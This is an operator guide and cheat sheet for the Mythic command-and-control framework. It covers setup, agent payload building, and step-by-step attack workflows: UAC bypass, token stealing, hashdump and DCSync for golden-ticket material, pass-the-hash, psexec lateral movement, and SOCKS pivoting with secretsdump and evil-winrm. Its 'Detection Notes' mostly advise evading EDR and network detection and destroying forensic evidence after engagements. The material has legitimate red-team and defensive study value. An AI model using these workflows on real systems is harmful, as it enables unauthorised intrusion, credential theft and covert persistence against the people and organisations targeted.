Author: Cody Thomas (@its_a_feature_) and contributors Repo: https://github.com/its-a-feature/Mythic Description: Open-source, modular, collaborative C2 framework with a React web UI, microservice architecture, and full agent/profile extensibility License: BSD-3-Clause Docs: https://docs.mythic-c2.net
Overview
Mythic is a multiplayer, post-exploitation command and control framework built by Cody Thomas (SpecterOps). Unlike Sliver, Cobalt Strike, or Havoc, Mythic ships with zero agents and zero C2 profiles by default. Everything — agents, transports, and logging — is installed as separate Docker containers using the mythic-cli package manager. This gives Mythic an unmatched degree of modularity: you pick only the agents and protocols you need, and the entire stack runs under Docker Compose.
Key capabilities:
- Browser-based React UI accessible over HTTPS (Nginx reverse proxy on port 7443 by default)
- Every agent and C2 profile runs in its own isolated Docker container, communicating via RabbitMQ
- Full multiplayer support with per-operator RBAC, operation-level isolation, and audit logging
- GraphQL API (Hasura) exposed for scripting and custom tooling
- Jupyter Notebook integration for Python-driven automation
- Peer-to-peer (P2P) agent chaining over SMB named pipes, TCP, and WebSocket
- OPSEC check engine — blocks or warns before a task executes based on configurable rules per command
- Credential store, artifact tracking, keylogger output, and screenshot storage all built in
- Webhook support for alerting via Slack/Teams/Discord when callbacks arrive
Mythic has a strict separation between agents (implants that run on targets) and C2 profiles (server-side transport handlers). A single agent can be compiled with multiple C2 profiles embedded, and at runtime it can switch between them or use P2P links to route traffic through other agents.
Architecture
┌───────────────────────────────────────────────────┐
│ Mythic Server (VPS/Lab) │
│ │
Operator ──HTTPS──► Nginx :7443 │
(React UI) │ │ │
│ ▼ │
│ mythic_server :17443 (Go gRPC/REST) │
│ │ │
│ ├──► mythic_graphql (Hasura :8080) │
│ ├──► mythic_postgres (PostgreSQL :5432) │
│ ├──► mythic_rabbitmq (AMQP :5672) │
│ ├──► mythic_jupyter (Jupyter :8888) │
│ └──► mythic_documentation (:8090) │
│ │
│ Agent Container (e.g. apollo, poseidon) │
│ ─── RabbitMQ ──► mythic_server │
│ │
│ C2 Profile Container (e.g. http) │
│ ─── opens listener port, relays to server │
└───────────────────────────────────────────────────┘
│
Target network │ C2 traffic (HTTP/HTTPS/SMB/TCP)
▼
Agent on victim host
Component breakdown:
- mythic_server — the central Go process. Manages callbacks, tasking, file storage, operators, operations, and the GraphQL schema. All other services communicate with it via RabbitMQ or gRPC.
- mythic_nginx — reverse proxy that terminates TLS for the web UI; routes
/to React and/api/to the backend. - mythic_graphql (Hasura) — exposes a full GraphQL API over every table in PostgreSQL. Operators and scripts can query this directly.
- mythic_postgres — all persistent state: callbacks, tasks, files, credentials, keystrokes, artifacts.
- mythic_rabbitmq — the message bus between the server and every agent/C2 container. Containers are hot-pluggable; Mythic detects them via RabbitMQ queues.
- Agent containers — compile and manage a specific payload type (language, platform). Each is a separate Docker image.
- C2 profile containers — run server-side protocol handlers (e.g. the HTTP listener). They decode inbound traffic and forward structured messages to
mythic_servervia RabbitMQ.
Tip: Because everything connects via RabbitMQ, you can run agent containers and C2 profile containers on different hosts than the Mythic server itself. Set
RABBITMQ_BIND_LOCALHOST_ONLY=falseandMYTHIC_SERVER_BIND_LOCALHOST_ONLY=falsein.envto allow remote container attachment.
Installation \& Server Setup
Prerequisites
- Linux host (Ubuntu/Debian recommended); macOS requires OrbStack instead of Docker Desktop due to missing host networking support
- Docker Engine >= 20.10.22 and the
docker-compose-plugin - Minimum 2 vCPUs, 4 GB RAM
# Install Docker on Ubuntu
sudo apt update && sudo apt install -y docker.io docker-compose-plugin
# Clone Mythic
git clone https://github.com/its-a-feature/Mythic --depth 1 --single-branch
cd Mythic
# Build the mythic-cli binary (required — binary is NOT shipped with the repo)
sudo make
# Pre-generate a .env without starting containers yet
sudo ./mythic-cli status
# Start Mythic
sudo ./mythic-cli start
First-start behavior:
- Docker Compose pulls pre-built images from
ghcr.io/itsafeature. mythic_serverinitializes the database and createsmythic_adminwith a randomly generated password stored in.env.- All services report healthy via
sudo ./mythic-cli status.
Access the web UI at https://<server-ip>:7443. Login credentials:
grep MYTHIC_ADMIN Mythic/.env
# MYTHIC_ADMIN_USER=mythic_admin
# MYTHIC_ADMIN_PASSWORD=<random>
Installing Agents \& C2 Profiles
Mythic ships with nothing. Install what you need:
# Agents
sudo ./mythic-cli install github https://github.com/MythicAgents/apollo
sudo ./mythic-cli install github https://github.com/MythicAgents/poseidon
sudo ./mythic-cli install github https://github.com/MythicAgents/Medusa
# C2 Profiles
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/dynamichttp
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/websocket
# Update an existing install
sudo ./mythic-cli install github https://github.com/MythicAgents/apollo -f
# List installed services
sudo ./mythic-cli services
# Health check
sudo ./mythic-cli status
Key .env Variables
| Variable | Default | Notes |
|---|---|---|
NGINX_PORT |
7443 |
Operator web UI — the only externally reachable port needed |
MYTHIC_SERVER_PORT |
17443 |
Internal Go backend, bound to localhost by default |
MYTHIC_SERVER_DYNAMIC_PORTS |
7000-7010,1080 |
Port range allocated to C2 listeners |
ALLOWED_IP_BLOCKS |
0.0.0.0/0 |
CIDR allowlist for the web UI; restrict to your IP in production |
RABBITMQ_BIND_LOCALHOST_ONLY |
true |
Set to false for remote agent/C2 containers |
NGINX_USE_SSL |
true |
Terminate TLS at Nginx |
MYTHIC_ADMIN_PASSWORD |
<random> |
Only used on first init |
sudo ./mythic-cli stop
sudo ./mythic-cli start
sudo ./mythic-cli restart
# Logs
sudo ./mythic-cli logs mythic_server
sudo ./mythic-cli logs apollo
sudo ./mythic-cli logs http
mythic-cli Reference
mythic-cli [command]
Core:
start Start all Mythic containers
stop Stop all containers
restart Stop then start
status Container states, ports, health
health Quick health check
logs [name] Tail logs from a specific container
Agent/Profile Management:
install github <url> [branch] [-f] Install agent or C2 profile from GitHub
uninstall <name> Remove and delete from disk
services List installed services
build <name> Rebuild a single container
update -s <name> Check for updates
Configuration:
config get <key>
config set <key> <value>
Database:
database backup
database restore
Misc:
version
test Test RabbitMQ service connectivity
rabbitmq list-queues Debug container connectivity
Operators \& Operations
An operation is the container for a red team engagement. All callbacks, tasks, files, credentials, and keystrokes belong to exactly one operation. You must have an active operation selected before anything operationally meaningful is possible.
Operator Roles
| Role | Capabilities |
|---|---|
| Admin | Global — sees all operations, all callbacks; creates/deletes operators and operations |
| Operation Lead | Manages operation membership; bypasses all OPSEC checks; unlocks any callback |
| Operator | Normal user — sees only their locked callbacks; can bypass their own OPSEC checks |
| Spectator | Read-only access |
# Reset admin password if locked out
sudo ./mythic-cli database reset-admin-password <new_password>
Via the web UI:
- Create operator: top-right gear → Operators → New Operator
- Assign to operation: Operations → $$ op $$ → Add Operator → select role
Webhooks
# In .env:
DEFAULT_OPERATION_WEBHOOK_URL=https://hooks.slack.com/services/T.../B.../...
DEFAULT_OPERATION_WEBHOOK_CHANNEL=#red-team-alerts
WEBHOOK_DEFAULT_CALLBACK_CHANNEL=#callbacks
WEBHOOK_DEFAULT_ALERT_CHANNEL=#alerts
C2 Profiles
A C2 profile is a server-side Docker container handling the network transport between Mythic and agents. Parameters (callback host, port, URIs, interval, jitter) are baked into the agent at payload build time. Browse installed profiles: Payload Types and C2 Profiles (headphone icon) in the top nav.
HTTP Profile
The most common egress profile. The container opens a listener on a dynamic port and Mythic's Nginx proxies external HTTPS traffic to it.
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
# Parameters baked into the agent at build time:
callback_host https://your.domain.com
callback_port 443
callback_interval 10 # seconds
callback_jitter 23 # percentage
post_uri /api/v1/auth
get_uri /api/v1/token
query_param Authorization
headers {"User-Agent": "Mozilla/5.0 ..."}
Traffic flow:
Agent --HTTPS--> your.domain.com:443 (redirector)
--proxy--> mythic_nginx:7443
--proxy--> http C2 container
--RabbitMQ--> mythic_server
SMB / TCP / WebSocket (P2P)
These are flagged is_p2p = true inside Mythic — they do not appear in the egress C2 dropdown during normal payload creation. They are used exclusively for agent-to-agent chaining (see Linking Agents). The P2P listener runs inside the agent on the target host, not as a separate server-side container.
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/smb
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/tcp_redirect
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/websocket
Agents (Payload Types)
Common Agents
| Agent | Language | Platforms | Key Features |
|---|---|---|---|
| Apollo | C# / .NET 4.0 | Windows | BOF loading, token manipulation, SOCKS5, Kerberos abuse, process injection, P2P via named pipes/TCP |
| Poseidon | Go | macOS, Linux | No runtime deps; launchd/cron persistence; SOCKS5; P2P |
| Medusa | Python | Win/Lin/Mac | Interpreted; portable; good for labs |
| Thanatos | Rust | Win, Linux | Modern, memory-safe; good OPSEC |
| Hannibal | C | Windows | Minimal, no CRT; good for initial access payloads |
| Athena | C# | Win/Mac/Lin | Cross-platform .NET; webshell mode |
| Tetanus | Rust | Linux | Linux-focused; rootkit-style persistence |
Browse all agents: https://github.com/MythicAgents
Payload Generation
Navigate to: Payload (gift box icon) → New Payload
Build steps:
-
Select Target OS (Windows / Linux / macOS)
-
Select Payload Type (installed agent)
-
Select C2 Profile(s) and fill in transport parameters
-
Select Commands to include (reduces binary size and capability surface)
-
Build → Mythic dispatches to the agent container → download link appears ```
# Apollo-specific notes: - Output formats: exe / dll / shellcode (raw PIC) / service_exe - For shellcode: select "shellcode" as build format — produces raw position-independent shellcode - For P2P pivot: add both HTTP and SMB profiles to one payload at build time - Named pipe name: always change from the default — it is signatured by EDRs
The UI stores every payload with its exact config so you can re-download it, view C2 parameters, generate sample callback messages for testing, and export Nginx/Apache redirector rules based on the payload's URI configuration.
Callbacks
A callback is a live agent instance that has completed the initial registration handshake with Mythic. It appears in the Callbacks view (satellite icon in nav).
Callback Interaction
Click any callback row to open the interactive tasking panel. Commands are typed in the task bar at the bottom; output appears in real time (HTTP agents: on next check-in).
# Cross-agent commands (available in most Mythic agents):
shell <cmd> # spawns shell — OPSEC risk, new process
run <binary> [args] # execute binary directly, no shell
ls [path]
cd <path>
pwd
cat <file>
download <remote_path>
upload # opens file picker
ps
getpid
ifconfig
netstat
whoami
sleep <seconds> <jitter>
exit
Apollo-specific commands:
# Token / privilege manipulation
make_token DOMAIN\user pass # create logon token, no new process spawned
steal_token <pid> # impersonate another process token
rev2self # drop back to original token
get_privs # enable all available privileges on current token
bypassuac # UAC bypass via token duplication
# Lateral movement
psexec
wmiexec
dcom <method>
# Kerberos
dcsync <user>@<domain> # requires replication rights or DA
pth # pass-the-hash
klist
golden_ticket # requires krbtgt hash
asktgt <user> <password>
asktgs <spn>
# Process injection
inject <pid> <shellcode>
shinject <pid>
spawnto <binary> # change default post-ex spawn binary
# In-process execution (no new process)
execute_coff <path> [args] # execute BOF (COFF object file) in-process
execute_pe <path> # run PE in memory, no disk write
execute_assembly <path> # run .NET assembly in-process
# SOCKS5
socks start <port>
socks stop
# Persistence
reg write ...
Callback Metadata \& Locking
| Field | Description |
|---|---|
| Host | Victim hostname |
| IP | IP address |
| PID | Agent process ID |
| User | User context |
| Integrity Level | 0=Untrusted 2=Medium 3=High 4=System |
| Sleep/Jitter | Current check-in timing |
| Last Checkin | Timestamp |
| Description | Free-text operator notes |
Locking: An operator can lock a callback to themselves to prevent simultaneous access. Only operation leads and admins can override locks.
Tasking \& Commands
Task Lifecycle
Operator issues task
│
▼
[OPSEC Pre-check] ──blocked──► Warn; require bypass to proceed
│ (passes)
▼
create_tasking() in agent container
│
▼
[OPSEC Post-check] ──blocked──► Same flow
│ (passes)
▼
Task queued → status: "submitted"
│
▼
Agent checks in, picks up task → status: "processing"
│
▼
Agent sends response → status: "completed" / "error"
Every task is permanently stored in PostgreSQL with full output. Add comments for report notes (right-click → Add Comment). Tasks can be tagged with MITRE ATT\&CK technique IDs, which flow into SIEM logging and reporting.
Linking Agents (P2P Pivoting)
P2P chaining routes C2 traffic through one agent to reach a host with no direct internet egress.
Mythic Server
│ (HTTP/HTTPS egress)
▼
Agent A (DMZ host — has internet)
│ (SMB named pipe or TCP — internal)
▼
Agent B (internal host — no internet)
To set up a link:
-
Build a payload for the internal host with both an HTTP C2 profile (or none, for a pure P2P implant) and an SMB/TCP profile compiled in.
-
Deploy and execute the payload on the internal host via a lateral movement command from Agent A.
-
From Agent A's task bar, run
link. A UI popup appears with three dropdowns:
- Host — auto-populated from registered callback hosts and known payload deployments
- Payload — the payload running on that host
- C2 Profile — the P2P profile to connect through (only
is_p2pprofiles appear here)
- Submit. Agent A connects to Agent B over the named pipe/TCP. Agent B appears in the callbacks table as a new callback; the Graph View shows the chain topology.
bash
link # opens UI popup
unlink <link_id> # close a P2P connection
The Graph View (Callbacks → Graph) shows the full live chain:[^1_6]
[Mythic] ─HTTP─► [AgentA] ─SMB─► [AgentB] ─TCP─► [AgentC]
All tasking to Agent B and C is routed transparently through the chain — no operator action needed beyond the initial link.
File Management
All file operations are backed by Mythic's file storage (PostgreSQL or Docker volume).
# Download from target to Mythic
download /etc/passwd
download C:\Users\admin\Documents\passwords.xlsx
# Upload: stage a file in Mythic first, then push to target
# Step 1: Files (folder icon) → Upload → select local file
# Step 2: In task bar, use agent's upload command → file picker popup appears
upload
The Files view shows:
- Downloaded files with filename, size, MD5, SHA256, operator, and task reference
- Screenshots captured by agents
- Artifacts (IOCs): new processes spawned, registry keys written, services created — agents register these via the RabbitMQ artifact RPC
Credentials Store
Mythic maintains a centralized credential store per operation. Agents submit extracted credentials automatically, or you can add them manually.
# Apollo — auto-submits to the store
hashdump # dump local SAM hashes
dcsync Administrator@CORP.LOCAL # DCSync; auto-submits NTLM hash
dcsync krbtgt@CORP.LOCAL # for golden ticket construction
# Manual entry: top nav → Credentials (key icon) → New Credential
# Fields: account, realm, credential, type (hash/plaintext/certificate), comment
# Use stored credentials in tasks
pth # opens popup to select an NTLM hash from the store
Keylogging \& Screenshots
# Keylogger (Apollo — runs in a dedicated thread, no new process)
keylog_inject <pid> # inject into a running process
# keystrokes stream to Mythic in real time with window title + timestamps
# Screenshot
screenshot # capture current desktop
# View: top nav → Keylog (keyboard icon) / Screenshots (camera icon)
OPSEC Checks
OPSEC checks are defined per-command in the agent container Python code and run on the Mythic server before and after create_tasking.
opsec_pre Before create_tasking — can block or warn
opsec_post After create_tasking, before task reaches agent — same logic
Bypass roles:
| Who can bypass | Code setting |
|---|---|
| Any operator | opsec_pre_bypass_role = "operator" |
| Operation lead only | opsec_pre_bypass_role = "lead" |
| A different operator | opsec_pre_bypass_role = "other_operator" |
C2-level OPSEC checks run at payload build time — if the check fails (e.g. a known-burned named pipe name, a default URI), the build is aborted before a payload is ever generated.
# Blanket command blocks per operation (no per-command granularity here):
# Operations → [your op] → Blocked Commands → add a command name to block it globally
Scripting \& Automation
mythic_rest Python Library
pip3 install mythic
import asyncio
from mythic import mythic_rest
async def main():
m = await mythic_rest.login(
username="mythic_admin", password="your_password",
server_ip="127.0.0.1", server_port=7443, ssl=True
)
# List active callbacks
callbacks = await mythic_rest.get_all_active_callbacks(mythic=m)
for c in callbacks:
print(c.host, c.user, c.pid)
# Issue a task
task = await mythic_rest.issue_task(
mythic=m, command="shell",
parameters="whoami", callback_display_id=1
)
# Wait for completion and get output
resp = await mythic_rest.gather_task_responses(mythic=m, task_id=task.id)
print(resp)
asyncio.run(main())
Jupyter Notebook
# SSH tunnel (bound to localhost by default)
ssh -L 8888:127.0.0.1:8888 user@mythic-server
# Browse: http://127.0.0.1:8888/?token=mythic
GraphQL (Hasura)
# SSH tunnel
ssh -L 8080:127.0.0.1:8080 user@mythic-server
# Browse: http://127.0.0.1:8080 — admin secret = HASURA_SECRET from .env
# Example: list all active callbacks
# query {
# callback(where: {active: {_eq: true}}) {
# host user ip pid last_checkin integrity_level
# payload { payloadtype { name } }
# }
# }
SIEM Logging
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/basic_logger
Supported event types:
callback_new New callback registered
task_new New task issued
task_completed Task finished
task_mitre_attack Task tagged with ATT&CK technique
response_new Raw agent response
file_upload File staged for delivery
file_download File pulled from agent
file_screenshot Screenshot received
artifact_new IOC registered (process, reg key, service, etc.)
credential_new Credential added
keylog_new Keystroke received
payload_new Payload built
eventlog_new Event log entry created
Modify C2_Profiles/basic_logger/my_logger/initialize.go to route to stdout, file, Splunk HEC, or Elasticsearch, then rebuild:
sudo ./mythic-cli build basic_logger
Detection Notes (Blue Team Awareness)
- Default Nginx certificate — Mythic generates a self-signed cert with subject
mythicon first boot. The cert subject and the resulting JARM hash have been used by Shodan-style scanners to fingerprint exposed Mythic servers. Replace with a CA-signed cert before any external-facing use. - Default HTTP URIs — Default URIs (
/api/v1/auth,/api/v1/token) are published and appear in network detection rules. Always change them to blend with expected target traffic. - Named pipe names — Default Apollo SMB profile pipe names are documented and detected by EDRs. Change the pipe name to something environment-specific at build time.
- Agent signatures — Apollo, Poseidon, and other popular Mythic agents are signatured by commercial EDRs. Out-of-the-box payloads are a detection baseline, not an operational payload. Wrap shellcode output in a custom loader or use process injection.
- HTTP beaconing regularity — Even with jitter, HTTP beaconing has statistical regularity detectable by ML-based NDR tools. Use high sleep + aggressive jitter for long-haul persistence; consider DNS or SMB C2 in monitored environments.
- PostgreSQL as forensic source — Mythic logs every task, response, and artifact in PostgreSQL. If the server is seized post-engagement, this is a complete audit trail. Encrypt the database volume and destroy infrastructure promptly after engagements.
- RabbitMQ exposure — If
RABBITMQ_BIND_LOCALHOST_ONLYis set tofalsefor remote containers, RabbitMQ on port 5672 becomes exposed. Combine with Nginx on 7443 and this composite fingerprint has been used to identify Mythic infrastructure via internet-wide scans.
Common Attack Workflows
Workflow: Initial Access → Active Callback
# 1. Install HTTP profile and start Mythic
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
sudo ./mythic-cli start
# 2. Build payload in UI:
# Payload → New Payload
# OS: Windows | Agent: Apollo | C2: http
# callback_host: https://your.domain.com | port: 443
# interval: 60 | jitter: 30 | Output: exe
# 3. Deliver and execute on target
# 4. Callback appears in Callbacks table → click to open interactive session
# 5. Basic triage
shell whoami /all
shell hostname
ifconfig
ps
netstat -ano
Workflow: Privilege Escalation → SYSTEM
# Check integrity level (shown in callback metadata)
get_privs
# UAC bypass from Medium → High integrity
bypassuac
# Token impersonation for SYSTEM
ps
steal_token <pid_of_SYSTEM_process>
# Verify
whoami # NT AUTHORITY\SYSTEM
Workflow: Credential Dumping → Lateral Movement
# Dump local hashes (requires High/System integrity)
hashdump
# DCSync (requires DA or replication rights)
dcsync Administrator@CORP.LOCAL
dcsync krbtgt@CORP.LOCAL # golden ticket material
# Credentials auto-appear in the Credentials store (key icon)
# Pass-the-Hash lateral movement
pth # opens popup to select NTLM hash from the store
# Or deploy via psexec from current callback
psexec \\target.corp.local
# New callback appears → link it if deployed with SMB profile
link
Workflow: Internal Recon via SOCKS5
# Start SOCKS5 on a callback
socks start 1080
# /etc/proxychains4.conf:
# socks5 127.0.0.1 1080
# Route tools through the callback
proxychains nmap -sT -Pn -p 22,80,139,443,445,1433,3389,5985 192.168.1.0/24
proxychains crackmapexec smb 192.168.1.0/24 --shares
proxychains impacket-secretsdump CORP/admin@192.168.1.10 -hashes :NTLMhash
proxychains evil-winrm -i 192.168.1.10 -u administrator -H NTLMhash
socks stop # when done
Workflow: Pivot Chain via P2P (Segmented Subnet)
# 1. Build a new payload for the internal host:
# Add both HTTP and SMB profiles OR SMB only (pure P2P implant)
# Set a non-default named pipe name
# 2. Deploy via psexec / wmiexec from current callback
psexec \\internal-host.corp.local [options]
# 3. SMB-only implant opens the named pipe and waits for a link
# 4. From current callback, run:
link # Host: internal-host.corp.local | Payload: <smb payload> | C2: smb
# 5. Callback appears with chain shown in Graph View:
# [Mythic] -HTTP-> [DMZ Agent] -SMB-> [Internal Agent]
# 6. Task the internal agent normally — routing is transparent
shell whoami
ls C:\Users\
Cheatsheet
Server Management
sudo ./mythic-cli start
sudo ./mythic-cli stop
sudo ./mythic-cli restart
sudo ./mythic-cli status
sudo ./mythic-cli health
sudo ./mythic-cli logs mythic_server
sudo ./mythic-cli logs apollo
sudo ./mythic-cli logs http
sudo ./mythic-cli install github https://github.com/MythicAgents/<agent>
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/<profile>
sudo ./mythic-cli uninstall <name>
sudo ./mythic-cli services
Payload Building (UI Steps)
Payload (gift icon) → New Payload
→ Select OS
→ Select Agent
→ Select C2 Profile(s) — fill callback_host, port, interval, jitter, URIs
→ Select Commands
→ Build → Download
Callback Interaction (common commands)
shell whoami /all
shell hostname
ps
ifconfig
netstat -ano
ls / cd / pwd / cat
download <path>
upload
sleep 60 30 # 60s interval, 30% jitter
make_token DOMAIN\user pass
steal_token <pid>
rev2self
get_privs
bypassuac
execute_coff <path> [args] # BOF — no new process
inject <pid> <shellcode>
execute_pe <path>
hashdump
dcsync <user>@<domain>
socks start 1080
socks stop
link
unlink <link_id>
exit
SOCKS5 + Proxychains
socks start 1080
# /etc/proxychains4.conf
# socks5 127.0.0.1 1080
proxychains nmap -sT -Pn -p 445 192.168.1.0/24
proxychains crackmapexec smb 192.168.1.0/24
proxychains impacket-psexec DOMAIN/user:pass@192.168.1.10
proxychains evil-winrm -i 192.168.1.10 -u user -H hash
Python Scripting
import asyncio
from mythic import mythic_rest
async def main():
m = await mythic_rest.login(
username="mythic_admin", password="pass",
server_ip="127.0.0.1", server_port=7443, ssl=True
)
callbacks = await mythic_rest.get_all_active_callbacks(mythic=m)
task = await mythic_rest.issue_task(
mythic=m, command="shell",
parameters="whoami", callback_display_id=1
)
resp = await mythic_rest.gather_task_responses(mythic=m, task_id=task.id)
print(resp)
asyncio.run(main())
References
- GitHub: https://github.com/its-a-feature/Mythic
- Docs: https://docs.mythic-c2.net
- Agents list: https://github.com/MythicAgents
- C2 Profiles list: https://github.com/MythicC2Profiles
- SpecterOps Library: https://docs.specterops.io/library/mythic-c2
- Operator Video Series: https://www.youtube.com/watch?v=0UT5C9BFGT0
- Apollo agent: https://github.com/MythicAgents/apollo
- Scripting library: https://github.com/MythicMeta/Mythic_Scripting
- Community Slack: https://ghst.ly/BHSlack